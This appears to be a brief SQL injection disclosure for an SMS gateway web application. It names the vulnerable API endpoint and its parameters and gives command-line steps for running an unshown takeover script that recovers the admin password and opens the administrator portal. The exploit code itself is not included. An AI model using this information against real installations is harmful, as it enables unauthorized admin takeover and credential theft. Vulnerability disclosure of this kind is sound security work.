1. Description
 
The softaware suffers from SQL Injection:
"/API/index.php?action=compose&username=sender&api_key=sdsd&sender"
 
2. Script (Automatic takeover)
 
Attached to mail
 
4. How to run Script
  You must have PHP installed on your system to run the script.
 
   - First, copy the code to a file and save(eg: sendroid_exploit.php)
   - Open up your command line and CD into the directory where you saved the file.
   - Now, type "$ php -f sendroid_exploit.php url=http://localhost/sms"
 
Note: The URL should be a direct link to where the software is installed.
 
3. Proof of Concept
  
Run the script for example:
  php -f sendroid_exploit.php url=http://localhost/sms

If you successfully run the script, you'll get the admin password. You can login to the admin portal:
localhost/sms/administrator/
